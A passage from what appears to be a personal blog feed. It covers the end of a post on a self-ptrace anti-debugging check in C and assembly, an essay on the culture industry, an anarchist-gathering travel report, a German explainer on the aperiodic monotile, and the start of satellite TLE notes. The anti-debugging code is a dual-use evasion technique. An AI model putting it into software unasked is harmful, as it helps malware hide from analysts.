<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>If this program is executed without a debugger, then it prints that it
is not traced:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./selfptrace
I am not traced
</code></pre></div></div>
<p>If, however, it is executed from a debugger, such as executing it with
strace or radare2, it prints that it is traced.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strace ./selfptrace
execve("./selfptrace", ["./selfptrace"], 0x7ffc1c38fb10 /* 67 vars */) = 0
....
ptrace(PTRACE_TRACEME) = -1 EPERM (The operation is not permitted)
...
write(1, "I am traced", 11I am traced) = 11
exit_group(1) = ?
+++ exited with 1 +++
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ r2 -Ad selfptrace
[0x7fc50d772d80]> dc
I am traced(2888) Process exited with status=0x100
</code></pre></div></div>
<h1 id="the-same-trick-in-assembly">The Same Trick in Assembly</h1>
<p>As we are 1337 coderz, we can do the same trick directly in assembly.</p>
<figure class="highlight"><pre><code class="language-nasm" data-lang="nasm"><span class="c1">; compile with</span>
<span class="c1">; nasm -f elf64 -o selfptrace.o selfptrace.asm</span>
<span class="c1">; ld -o selfptrace.out selfptrace.o</span>
<span class="k">BITS</span> <span class="mi">64</span>
<span class="nf">global</span> <span class="nv">_start</span>
<span class="nf">section</span> <span class="nv">.text</span> <span class="c1">; section declaration</span>
<span class="nl">_start:</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">101</span> <span class="c1">; ptrace syscall is 101 (see /usr/include/asm/unistd_64.h)</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; PTRACE_TRACEME is 0</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">syscall</span> <span class="c1">; execute</span>
<span class="nf">cmp</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">jl</span> <span class="nv">traced</span>
<span class="nl">not_traced:</span>
<span class="nf">call</span> <span class="nv">print_not_traced</span> <span class="c1">; put string on stack</span>
<span class="nf">msg_n_tr</span> <span class="nv">db</span> <span class="err">"</span><span class="nv">I</span> <span class="nv">am</span> <span class="nv">not</span> <span class="nv">traced</span><span class="err">!"</span><span class="p">,</span> <span class="mi">16</span>
<span class="nl">print_not_traced:</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; write syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; stdout file descriptor in destination index (di)</span>
<span class="nf">pop</span> <span class="nb">rsi</span> <span class="c1">; put message in source index (si)</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mi">17</span> <span class="c1">; length of the message</span>
<span class="nf">syscall</span> <span class="c1">; execute</span>
<span class="nf">jmp</span> <span class="nv">end</span>
<span class="nl">traced:</span>
<span class="nf">call</span> <span class="nv">print_traced</span> <span class="c1">; put string on stack</span>
<span class="nf">msg_tr</span> <span class="nv">db</span> <span class="s">"I am traced!"</span><span class="p">,</span> <span class="mi">12</span>
<span class="nl">print_traced:</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; write syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; stdout file descriptor in destination index (di)</span>
<span class="nf">pop</span> <span class="nb">rsi</span> <span class="c1">; put message in source index (si)</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mi">12</span> <span class="c1">; length of the message</span>
<span class="nf">syscall</span> <span class="c1">; execute</span>
<span class="nl">end:</span>
<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">60</span> <span class="c1">; exit syscall</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; return value success</span>
<span class="nf">syscall</span> <span class="c1">; execute</span></code></pre></figure>
<p>I will not show the output of running it with and without a debugger
again, as it is similar to the output above.</p>
<h1 id="epilogue">Epilogue</h1>
<p>As any lazy hacker with few knowledge of morals writes at the end of
its articles: “Don’t use this for malicious purposes. This is for
educational use only.”</p>
<p>Now go and write some interesting code.</p>
Culture Industry
2023-08-05T00:00:00+00:00
https://hkopp.github.io/2023/08/culture-industry
<h1 id="introduction">Introduction</h1>
<p>This is an explanation of (and a rant about) the culture industry.
Originally the notion of culture industry is due to Adorno and
Horckheimer, two Jews who fled Nazi Germany.
Then in America they wrote the book “Dialectic of Enlightenment” which
was publicized in 1947, where they criticize the uniformity of American
culture.
Unfortunately that book is hard to read, so i decided to explain their
concept of culture industry in layman’s terms.</p>
<h1 id="culture-industry">Culture Industry</h1>
<blockquote>
<p>Films and radio no longer need to present themselves as art. The
truth that they are nothing but business is used as an ideology to
legitimize the trash they intentionally produce. They call
themselves industries, and the published figures for their directors
incomes quell any doubts about the social necessity of their
finished products.</p>
<p>“Theodor W. Adorno, Max Horkheimer - Dialectic of Enlightenment”</p>
</blockquote>
<p>Culture industry is about pop culture. This type of culture is not
created by ordinary people, but concerns cultural products that are
marketed via mass media and then advertised towards mass consumption.
Ordinary people only consume pop culture and are not a part their
creation.</p>
<p>Every product of that culture is a similar bleak commodity that is cut
into standardized chunks for marketing, advertising, and distribution.
It has no artisanal value or individuality.
The only goal of the culture industry that produces culture products
is profit. Thus, no risks are taken and the same repetitive content is
spewed out that lulls people into complacency.</p>
<h1 id="contemporary-culture-industry">Contemporary Culture Industry</h1>
<p>Even though the term was coined in the 1940s, it is easy to find
contemporary examples, as the same capitalist mechanisms that produced
this phenomenon persist.</p>
<p>Take movies as an example. Current movies in cinemas are series,
spin-offs of a series, or reboots.
Take a look at “Game of Thrones” or “Lord of the Rings”, or “Star
Wars” with its myriads of movies. Take a look at the whole American
superhero genre.
All movies have the same structure and no creator takes risks anymore.</p>
<p>The same happened with music. All pop songs converge on the same
structure and the same few chords.
This product is then marketed towards the masses.
And each new pop song copies an old pop song thus creating a huge
amount of songs that have no artistic goal or expression.
This is the case even in niches.
Listen to some Iron Maiden. They have found what their fans like and
now they produce song after song after song that is a copy of a copy
of a copy.
Note that this is a case where capitalism actively prevents progress.</p>
<p>The culture industry in music consists of a few large records labels.
And the same is true for movies, where only few large players control
the market completely.</p>
<h1 id="culture-industry-on-the-internet">Culture Industry on the Internet</h1>
<p>The huge chance of the internet was a democratization of the
production of cultural products, as the obstacles to creating an own
website were small in the beginning.
This is not the case anymore.
Small websites are simply not discoverable and thus stay hidden.
There are only a few large web sites that everyone visits and they are
full of the same bleak, lifeless content.</p>
<p>Even on Youtube where supposedly any individual can become a content
creator the content has become vain.
No risks are taken by the creators in order to not lose followers.
Thus, the content becomes repetitive.
There are no real controversies, only fake drama, click-bait titles,
and provocative thumbnails in order to foster engagement.</p>
<p>This is not a problem with the individual content creators.
Rather, the incentives for producing content are skewed such that this
development will take place.
Youtube has established a technocratic system through their
recommendation algorithm where content is maximized towards engagement
in order for the content creators to receive some likes and increase
their viewer numbers.</p>
<blockquote>
<p>Click “Like” and subscribe. Feed the Moloch!</p>
<p>“Shozan of the Youtube Channel Zen Confidential in some video i cannot remember”</p>
</blockquote>
<h1 id="psychological-control-by-capitalism">Psychological Control by Capitalism</h1>
<p>The control of the culture industry extends beyond only the culture
products into the psychological realm.
We are free to consume as we wish, but not to create as we wish.
Only standardized forms of entertainment exist that will not subvert the
Status Quo.</p>
<p>The culture industry takes our dissatisfaction with the Status Quo and
sells that back to us in their products.
These cultural products include symbols of rebellion and insurrection.
Examples for where that is the case include Batman’s Joker or the
movie Fight Club.</p>
<p>This gives us the feeling that we participate in those emotions.
Thus, we do not have to act on our feelings of dissatisfaction.
The consumer is rendered docile and domination of the culture industry
is maintained.</p>
<h2 id="case-study-triangle-of-sadness">Case Study: Triangle of Sadness</h2>
<p>This is a movie that was recommended to me by a colleague of mine.
It is about high society people on a yacht and their idiosyncratic
behaviors.
In one scene an old rich lady asks the captain to clean the sails. The
captain answers that this is a motorboat and that there are no sails.
Then the lady asks her husband if that is correct and (if i remember
correctly) he also says that there are sails.
Thus, the movie slightly mocks rich people and their detachedness from
the world.</p>
<p>But actually the movie received a Palme d’Or at the Cannes Film
Festival. And you know who gave this movie the Palme d’Or? The same
champagne-drinking yacht people that the movie wants us to believe it
is mocking.
The movie is watched by exactly those people it is supposed to
criticize.</p>
<h2 id="case-study-deadpool">Case Study: Deadpool</h2>
<p>Deadpool is the 8th movie of the X-Men series which at the time of
writing consists of 13 movies. This already shows that no risk was
taken in the production of that movie.
The start of the movie is a parody of an opening credits scene with
supposedly funny credits such as “some douchebag’s film”, “starring
god’s perfect idiot”, or “a CGI character”.</p>
<p>Probably this is supposed to appear edgy. We should think that some teens
had the opportunity to put that in the movie to make a statement about
the people who made it.
But actually these credits were written by the same rich dudes driving
too large cars that write every Hollywood movie.
Nothing about that is subversive.</p>
<h1 id="summary">Summary</h1>
<p>The culture industry produces culture products with the only goal of
mass production.
They produce only for profit without taking any risks.
There is no artistic goal. The only goal is to make money.</p>
<p>The consumers are lulled into complacency and as a result art
does not matter anymore.</p>
Travel Report To An Anarchist Gathering
2023-07-30T00:00:00+00:00
https://hkopp.github.io/2023/07/travel-report-to-an-anarchist-gathering
<p>This is a travel report about my trip to St. Imiere to commemorate the
150th anniversary of the first Anti-authoritarian International.
The back story is that 150 years ago Bakunin held its congress there
which marks the separation between the communist and the anarchist
movement.</p>
<p>The trip was an autonomously organized camp with lots of workshops and
concerts. Everyone could propose a workshop or support spontaneously.
Instead of complaining that the lines at the food distribution were
too long, one could volunteer to distribute food by oneself. Thus,
there was no clear separation between producer and consumer as is
usually the case in our society.</p>
<p>All prices were so-called “suggested prices”, which means that you
could pay more or less. The people there did not care that much about
money. The camping site was extremely clean and quiet and could not be
compared at all to the camp sites at metal festivals which are usually
full of dirt and drunk people partying the whole night.</p>
<p>My first workshop was about activist climbing. At the introduction
round everyone had to say its pronouns which felt really weird to me.
Then, you should not say <a href="https://en.wikipedia.org/wiki/Prusik_knot">Prusik knot</a>,
because Prusik was a nazi. Instead we called it a caterpillar.
One of the goals of the climbing was to make it as cheap as possible,
so everyone could participate. Consequently, there was not much else
than two caterpillars and a <a href="https://en.wikipedia.org/wiki/Figure_8_(climbing)">figure eight
descender</a>. This
made it very tedious and did not feel as secure as the <a href="https://en.wikipedia.org/wiki/Grigri">Grigri</a>
I was accustomed to.
I wondered if i was really at the correct place. There were a lot of
workshops about feminism, queerness, and related topics. These are
not my activist struggles.
I care about animal rights, cheap living space, open source software,
Assange support, Black Metal, privacy technologies, criticism of
surveillance capitalism, criticism of consumerism, making home-made
jam instead of buying some overpriced capitalist sugar-shit, ….</p>
<p>I was planning to leave the next day, but then I got into a
conversation with my neighbor at the camping ground. He was able to
cheer me up, as he also had different struggles. He was a punk.
Currently he was working at medieval fairs. During the corona years he
lived in a rainbow community in Colombia that had problems with theft.
Any time someone wanted to expel a thief from the community, some
hippie shielded the thief as expelling was against the rainbow ideals.
This brought down the whole community.</p>
<p>All in all, the people were extremely intelligent and had stimulating
views on life. It was easy to get into a conversation, especially when
waiting in a queue or volunteering for a shift.</p>
<p>There was a workshop on anti-authoritarian money. Money solidifies power
structure and the open question was if that always has to be the case.
In the other hand, money is a comparatively cheap way to settle
ownership disputes.
My friends from university who were also doing research on
blockchains would have had fun. (I’m thinking of you, Ketzu.)
Another question was how a collective should handle money that it
receives from outside by selling products. If you, dear reader, want
to go down that rabbit hole, start reading about value networks or
gift economy.</p>
<p>One workshop was held by the Anarchist Black Cross of Moscow. This is
a prisoner support organisation that currently supports a lot of the
political prisoners that protest against the Ukraine war. One
interesting point for me was, that prisoner’s support is a low-risk
form of activism, and was not declared illegal even in stalinist
times. Also interesting to note is that according to the Black Cross
funding lawyers is not unnecessary, even though they cannot change the
outcome of a process, as the lawyers may be the only ones allowed to
speak to the prisoners and thus they are necessary for staying in
contact with them.</p>
<p>At some workshops nobody organized them. This was only apparent after
20 minutes in. It was very interesting to see how the people then
started organizing themselves. Sometimes this worked, e.g., at the
singing workshop. Sometimes this kind of failed.
At the workshop about wild practices, we decided to do some
stretching. We stood in a circle and everyone had to suggest a
movement which then all of us have to do. One movement was howling
like a wolf and stretching. It was like a dream of some weird
experimental educator. Before everyone had their turn, i asked my
neighbor to go into the woods and do a walk and share some skills.
This idea was picked up by the others and we walked into the nearby
forest and had some discussions and skillsharing. Then, some people
decided they wanted to build a <a href="https://en.wikipedia.org/wiki/Bow_drill">bow
drill</a> to start a fire. I and
a guy from Britain did not think that this would work, but neither of
us wanted to be the arrogant negative guy standing around, so we just
watched the others and talked. Of course, the bow drill never worked.</p>
<p>There was a workshop about psychedelic substances on the question
of legalisation, decriminalization, or communalization.
The question was if a legalization would lead to psychedelic
substances being fed into the capitalist machine and the creation of
precarious work and how that could be prevented.
Currently, the creation of psychedelics works like growing tomatoes on
a porch, or like sharing cooking recipes.
“Share it, don’t sell it”, was something we could agree on.</p>
<p>Another highlight for me was the book fair. There was everything from
large publishers to some hobby projects of people that printed some
zines in their back yard. I was very impressed that the people were
more concerned with making their ideas known than with making money.
Again, most of the prices were just suggested.
Special shout-out to the anarcho-nihilist Belgians from the post
office distro.</p>
<p>All in all, it was great. Five of five stars. Would do again.
I really got some impulses for life and thinking about society and
money in a different way that will nourish me for a long time.
Special thanks to the organizers and all the people who made that
event possible. Thanks to all the people for the nice discussions.</p>
Aperiodische Monokacheln
2023-04-13T00:00:00+00:00
https://hkopp.github.io/2023/04/aperiodische-monokacheln
<h2 id="einführung">Einführung</h2>
<p>This post is in German. If you do not understand German read
<a href="https://aperiodical.com/2023/03/an-aperiodic-monotile-exists/">this</a>,
<a href="https://www.quantamagazine.org/hobbyist-finds-maths-elusive-einstein-tile-20230404/">this</a>
or <a href="https://arxiv.org/abs/2303.10798">that</a>
instead.</p>
<p>Neulich wurde ein lustiges lange bestehendes mathematisches Problem
gelöst, über das ich heute schreibe.
Innerhalb der kleinen Mathecommunity gibt es die Nische der
Parkettierungscommunity, die sich mit Perkettierungen hauptsächlich
von Ebenen beschäftigt.</p>
<p>Der Vorteil an Problemen in dieser Community ist, dass die
Problemstellungen dort sehr visuell und intuitiv zugänglich sind um
Gegensatz zu beispielsweise L-Funktionen und der Riemannschen
Vermutung.
Folglich eignen sie sich didaktisch perfekt für einen Einstieg in
höhere Mathematik und ich werde in Zukunft auf genau diesen
Blog-Artikel verweisen, wenn ich wieder gefragt werde, was ein
Mathematiker eigentlich so macht, oder was in der aktuellen
mathematischen Forschung passiert.</p>
<p>Genau aus diesem Grund ist dieser Artikel auf deutsch gehalten für ein
nichttechnisches Publikum.</p>
<h2 id="parkettierungen">Parkettierungen</h2>
<p>Eine Parkettierung ist eine Aufteilung der Ebene mit Fliesen oder
Kacheln, wie im Bad.
Im folgenden verwende ich Parkettierung und Kachelung synonym und
nenne die einzelnen Kacheln auch manchmal Fliesen.</p>
<p>Das besondere an der Parkettierung ist, dass die Fliesen immer gleich
sind, nur verschoben oder rotiert.
Ausserdem hat eine Parkettierung keine Löcher.</p>
<p>Mathematisch spannend wird es, wenn nicht Bäder gefliest werden,
sondern die unendlich große zweidimensionale Ebene.</p>
<p>In der folgenden Grafik ist ein Beispiel für eine Parkettierung mit
Quadraten. Es ist nur ein Ausschnitt abgebildet. Das Parkett geht noch
in alle Richtungen noch weiter.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> _ _ _ _ _ _ _ _ _ _
| | | | | |
| | | | | |
| _ _ | _ _ | _ _ | _ _ | _ _ |
| | | | | |
| | | | | |
| _ _ | _ _ | _ _ | _ _ | _ _ |
| | | | | |
| | | | | |
| _ _ | _ _ | _ _ | _ _ | _ _ |
| | | | | |
| | | | | |
| _ _ | _ _ | _ _ | _ _ | _ _ |
</code></pre></div></div>
<p>Die Parkettierung ist in diesem Fall periodisch.
Wenn man das ganze Parkett um eine Fliese nach rechts verschieben
würde, dann würde man wieder dasselbe Muster und somit dieselbe
Parkettierung erhalten.
Ebenso kann man das Parkett um zwei Fliesen nach rechts verschieben.
Das ist analog zu den natürlichen Zahlen.</p>
<p>Man könnte das Parkett auch stattdessen um eine Fliese nach oben oder
unten verschieben. Oder um ein ganzzahliges Vielfaches davon.</p>
<p>Ebenso können diese Symmetrien kombiniert werden. Man kann das Parkett
zuerst um eine Fliese nach rechts verschieben und dann um zwei Fliesen
nach unten.</p>
<p>Interessanterweise funktioniert es auch anders herum. Jede solche
Symmetrie kann man zerlegen in mehrere horizontale Verschiebungen um
je eine Fliese und mehrere vertikale Verschiebungen um eine Fliese.</p>
<p>Dies ist ähnlich zur Primfaktorzerlegung einer Zahl. Jede ganze Zahl
kann eindeutig (bis auf Vorzeichen und Reihenfolge) in mehrere
Primzahlen zerlegt werden.
Man würde sagen, dass die horizontale und die vertikale Verschiebung
erzeugende Elemente der Symmetriegruppe sind.</p>
<p>Ebenso könnte man eine andere Parkettierung betrachten:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> _ _ _ _ _ _ _ _ _ _
| | | | | |
| | | | | |
| _ _ | _ _ | _ _ | _ _ | _ _ | _
| | | | | |
| | | | | |
_ | _ _ | _ _ | _ _ | _ _ | _ _ |
| | | | | |
| | | | | |
| _ _ b _ _ | _ _ | _ _ | _ _ | _
| | | | | |
| | | | | |
a _ _ | _ _ | _ _ | _ _ | _ _ |
</code></pre></div></div>
<p>Hier kann man wieder das Parkett horizontal um eine Fliese
verschieben. Ebenso ist es aber auch möglich das Parkett schräg nach
rechts oben zu verschieben, sodass der Punkt (a) auf den Punkt (b)
abgebildet wird.</p>
<p>Eine Kachelung kann auch aus mehreren verschiedenen kacheln bestehen.
Betrachtet man das unten abgebildete Pentagon</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> _ _
/ \
/ \
\ /
\ _ _ /
</code></pre></div></div>
<p>… und die unten abgebildete Raute</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> / \
/ \
\ /
\ /
</code></pre></div></div>
<p>… kann man damit das folgende Parkett erzeugen:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> _ _ _ _ _ _ _ _
/ \ / \ / \ / \
/ \ / \ / \ / \
\ / \ / \ / \ /
\ _ _ / \ _ _ / \ _ _ / \ _ _ /
/ \ / \ / \ / \
/ \ / \ / \ / \
\ / \ / \ / \ /
\ _ _ / \ _ _ / \ _ _ / \ _ _ /
/ \ / \ / \ / \
/ \ / \ / \ / \
\ / \ / \ / \ /
\ _ _ / \ _ _ / \ _ _ / \ _ _ /
/ \ / \ / \ / \
/ \ / \ / \ / \
\ / \ / \ / \ /
\ _ _ / \ _ _ / \ _ _ / \ _ _ /
</code></pre></div></div>
<p>Auch hier gibt es wieder verschiedene Symmetrien.
Es ist anzumerken, dass Kacheln in der Mathematik verschoben, gespiegelt und rotiert werden dürfen.
Die Fliesen im Bad sollten im Allgemeinen nicht gespiegelt werden.</p>
<h2 id="nichtperiodische-parkettierungen">Nichtperiodische Parkettierungen</h2>
<p>Eine naheliegende Frage ist, ob es Parkettierungen gibt, die keine
Symmetrien haben.
Solche Parkettierungen nennt man nichtperiodisch.</p>
<p>Man könnte hierzu eine Zahlenfolge nehmen, die keine Periodizität
hat und diese dann in die Kacheln geeignet kodieren. Zum Beispiel
könnte man ein quadratisches Grundgitter nehmen und durchzählen. Jedes
Quadrat, das auf einer Primzahlposition ist, könnte man horizontal
teilen und alle anderen Quadrate vertikal.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0 1 2 3 4 5 6 7 8 9 10 11 12
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
| | | | | | | | | | | | | | | | | | |
| - - | - - | | | | | - - | | | - - | | | - - | - - | - - | | | - - |
| _ _ | _ _ | _|_ | _|_ | _ _ | _|_ | _ _ | _|_ | _ _ | _ _ | _ _ | _|_ | _ _ |
</code></pre></div></div>
<p>Diese Parkettierung hat keine Symmetrien, weil die Primzahlen keine
Symmetrien haben.
Man könnte das Gitter vermutlich noch geeignet nach unten ausdehnen
auf die zweite Dimension, dass auch dort keine Symmetrien auftauchen.</p>
<p>Nichtperiodische Parkettierungen sind einfach zu bauen. Viel lustiger
sind die aperiodischen Fliesen.</p>
<h2 id="aperiodische-fliesen">Aperiodische Fliesen</h2>
<p>Die Frage nach nichtperiodischen Parkettierungen ist ob man die ebene
mit einer Fliese so parkettieren kann, dass es keine Periodizität
gibt. Es handelt sich dabei um die Frage nach einer Parkettierung.</p>
<p>Die Frage nach aperiodischen Fliesen ist, ob es eine Kachel
gibt, mit der man die Ebene so parkettieren kann, dass die
entstehenden Parkettierungen immer nichtperiodisch sind.</p>
<p>Man nennt dann sowohl die Fliesen, als auch die Parkettierungen
aperiodisch. Aber eigentlich würde es mehr Sinn ergeben nur die
Fliese(n) aperiodisch zu nennen.</p>
<h2 id="penrose-parkettierung">Penrose Parkettierung</h2>
<p>Penrose Parkettierungen sind die einfachsten Beispiele für
aperiodische Kacheln.
Es gibt mehrere Penrose Parkettierungen.
Penrose Parkettierungen bestehen immer aus zwei verschiedenen Formen
und es ist unmöglich die Ebene damit periodisch zu kacheln.
Diese Parkettierungen wurden nicht, wie man annehmen könnte im antiken
Griechenland entdeckt, sondern erst in den 1970er Jahren.
Bis dahin waren gar keine aperiodischen Fliesen bekannt.</p>
<p>Hier ein Beispiel für eine Penrose Parkettierung:
<img src="http://hkopp.github.io/assets/aperiodische-monokachel/penrose.svg" alt="Bild einer Penrose Parkettierung" /></p>
<p>Diese Parkettierung hat eine Rotationssymmetrie, aber das ist erlaubt.
Nur Periodizität, also Symmetrien basierend auf Verschiebungen sind
verboten.</p>
<p>Die Penrose Parkettierung ist zwar eine aperiodische Parkettierung,
aber eigentlich wäre es ästhetischer, wenn man nur eine Kachelform
hätte.
Wenn man zum Beispiel Plätzchen bäckt, muss man nun aufpassen, dass
man von beiden Plätzchenformen gleich viele produzieren muss.</p>
<h2 id="socolar-taylor-kachel">Socolar-Taylor Kachel</h2>
<p>Die Idee hinter der Socolar-Taylor Kachel ist, dass man eine
Grundfläche aus Sechsecken nimmt.
An diese Sechsecke werden nun lustige Nasen und Kerben angebaut, die
erzwingen, das diese auf eine bestimmte Art ausgelegt werden müssen,
die Nichtperiodizität erzwingt.
Werden die Kacheln anders ausgelegt, so werden die Kerben nicht mit
Nasen ausgefüllt, oder es verbleiben Löcher.</p>
<p>Eine Kachelung mit der Socolar-Taylor Kachel sieht wie folgt aus:</p>
<p><img src="http://hkopp.github.io/assets/aperiodische-monokachel/sokolar_taylor.png" alt="Bild der Socolar-Taylor Kachel" /></p>
<p>Hierbei ist jede Kachel in einer Farbe.</p>
<p>Das Problem daran ist, dass diese Kachel unzusammenhängend ist.
Die Quadrate die nicht mit der Kachel verbunden sind, müssen
immer gleich mit der Kachel mitbewegt werden, deswegen handelt es sich
von der Definition her um eine Kachel. Aber es ist nicht ästhetisch.</p>
<p>Unzusammenhängende aperiodische Kacheln sind nützlich für Graffiti auf
Uni-Toiletten oder Tätowierungen, aber man kann damit wiederum keine
Plätzchen backen oder lustige Legespiele aus Holz bauen</p>
<h2 id="jahrhundertproblem">Jahrhundertproblem</h2>
<p>Kommen wir nun zum eigentlichen Problem, das neulich gelöst wurde.</p>
<p>Die Frage ist nach einer aperiodischen Kachel:
Gibt es eine zusammenhängende Kachelform, sodass egal wie man die
Ebene damit parkettiert, das entstehende Muster nicht periodisch ist?</p>
<p>Oder anders formuliert: Gibt es eine aperiodische Monokachel?</p>
<p>Vielleicht gibt es auch gar keine solche Kachel und man kann beweisen,
dass es sie nicht gibt.
Das war aber nicht der Fall.
Neulich wurde eine Kachel mit diesen Eingenschaften von David Smith,
Joseph Samuel Myers, Craig S. Kaplan und Chaim Goodman-Strauss
entdeckt. Es wurden sogar zwei Kacheln entdeckt, die jeweils für sich
aperiodisch sind.</p>
<p>Die eine ist als Hut (hat) bekannt, obwohl sie eher
aussieht wie ein Shirt. Die andere hat den Nicknamen Schildkröte
(turtle) bekommen.</p>
<p>Wenn man die Socolar-Taylor Kachel aus dem letzten Abschnitt gesehen
hat, würde man denken, dass die aperiodische Monokachel noch viel
grimmiger aussehen würde. Das war aber nicht der Fall.</p>
<p>Die beiden Kacheln sehen wie folgt aus. In der linken Spalte befindet
sich der Hut und in der rechten Spalte die Schildkröte.</p>
<p><img src="http://hkopp.github.io/assets/aperiodische-monokachel/hat_turtle.png" alt="Bild des Hutes und der Schildkröte" /></p>
<p>Eine Kachelung mit Hüten sieht wie folgt aus:
<img src="http://hkopp.github.io/assets/aperiodische-monokachel/hat.png" alt="Bild einer Kachelung mit Hüten" /></p>
<h2 id="anwendungen">Anwendungen</h2>
<p>Anwendungen hat das angeblich in der Physik, wenn es um die Struktur
von Kristallen oder Quasikristallen geht. Aber ich bin kein Physiker
und bin eher an der platonischen Welt der Ideen interessiert. Welche
Anwendung hat ein Gedicht? Welche Anwendung hat ein Gemälde von
Escher?</p>
<h2 id="kachelkult">Kachelkult</h2>
<p>Anbei noch ein Bild von Craig Kaplan, der mit seinem Team die
Aperiodizität der Kachel bewiesen hat.
<img src="http://hkopp.github.io/assets/aperiodische-monokachel/CraigS.Kaplan-byJoePetrik.webp" alt="Craig Kaplan Bild. Quelle: https://www.quantamagazine.org/hobbyist-finds-maths-elusive-einstein-tile-20230404/" /></p>
<p>Ich persönlich halte Bilder von den Leuten für egal, obwohl im
Wissenschaftsjournalismus immer die Leute gezeigt werden.
Wieso ich das Bild hier zeige ist wegen dem großartigen Regal.</p>
<p>Alleine schon die dreidimensionale Hilbertkurve in der dritten Reihe
oder die Origamistücke, die lustig zu Sternen zusammengesetzt wurden.
Gäbe es ein Abo, bei dem man jeden Monat einen solchen Gegenstand
geschickt bekommen würde, würde ich jeden Preis dafür zahlen! Am
besten noch als Bausatz.</p>
<p>Wie dem auch sei.
Auf jeden Fall kann man nun die aperiodische Monokachel als
Plätzchenausstecherform bauen. Bei den Penrose Kacheln benötigte man
zwei verschiedene Formen. Hier benötigt man allerdings auch zwei
Formen, wenn man es sauber machen will, da die gespiegelte Form des
Plätzchens dann doch etwas anders aussieht, als wenn man das Plätzchen
einfach umdreht.</p>
<p>Es handelt sich jetzt hierbei um den Hut. Nicht um die Schildkröte.</p>
<p><img src="http://hkopp.github.io/assets/aperiodische-monokachel/hutstecher.jpeg" alt="Bild von Plätzchenausstecherform" /></p>
<p><img src="http://hkopp.github.io/assets/aperiodische-monokachel/hutplatzchen.jpeg" alt="Bild von Plätzchen" /></p>
<h2 id="danksagungen">Danksagungen</h2>
<ul>
<li><a href="https://twitter.com/ntumanov_Xray">@ntumanov_Xray</a> für das Erstellen der Vorlage für die Ausstecherleform.</li>
<li>einem Arbeitskollegen ohne Internetpräsenz für das Drucken meiner Ausstecherleform.</li>
</ul>
Intro To Satellite Stuff
2023-04-06T00:00:00+00:00
https://hkopp.github.io/2023/04/intro-to-satellite-stuff
<h2 id="introduction">Introduction</h2>
<p>Last weekend i agreed to support as a mathematician in a CTF team. We
were participating in the <a href="https://hackasat.com/">Hack-a-sat CTF</a>,
which is an international competition sponsored by the air force about
hacking satellites.
We scored 7th place.
As i had nearly no knowledge about satellites, i used a few evenings
to read a little bit.
These are my (somewhat) cleaned up notes.</p>
<p>This is not a writeup, as my team was much more clever than me and so
i was not able to contribute as much as i hoped i could.</p>
<h2 id="tle">TLE</h2>
<p>The orbit of satellites is usually given as Two-line element set
(TLE).
This is a data format consisting of two lines (obviously).
Each line has 69 symbols due to some historical limitations dating
back to punch cards.</p>
<p>The TLE for the ISS looks as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ISS (ZARYA)
1 25544U 98067A 08264.51782528 -.00002182 00000-0 -11606-4 0 2927
2 25544 51.6416 247.4627 0006703 130.5360 325.0288 15.72125391563537
</code></pre></div></div>
<p>The first line is information about the satellite and its speed.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Columns Meaning
01 Line Number of Element Data
03-07 Satellite Number
08 Classification
10-11 International Designator (Last two digits of launch year)
12-14 International Designator (Launch number of the year)
15-17 International Designator (Piece of the launch)
19-20 Epoch Year (Last two digits of year)
21-32 Epoch (Day of the year and fractional portion of the day)
34-43 First Time Derivative of the Mean Motion
45-52 Second Time Derivative of Mean Motion (decimal point assumed)
54-61 BSTAR drag term (decimal point assumed)
63 Ephemeris type
65-68 Element number
69 Checksum (Modulo 10)
</code></pre></div></div>
<p>BSTAR is the drag term of the satellite. There are <a href="https://en.wikipedia.org/wiki/Simplified_perturbations_models">five
models</a>
to compute the orbital state vectors, i.e., the position of the
satellite. As the Earth’s shape, magnetic field, atmosphere are all
highly irregular, you need such a model to predict its effects.</p>
<p>The second line is about the position of the satellite:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Columns Meaning
01 Line number
03–07 Satellite Catalog number
09–16 Inclination (degrees)
18–25 Right ascension of the ascending node (degrees)
27–33 Eccentricity (decimal point assumed)
35–42 Argument of perigee (degrees)
44–51 Mean anomaly (degrees)
53–63 Mean motion (revolutions per day)
64–68 Revolution number at epoch (revolutions)
69 Checksum (modulo 10)
</code></pre></div></div>
<h2 id="curiosities">Curiosities</h2>
<p>Note that both of these lines have a checksum as a form of error
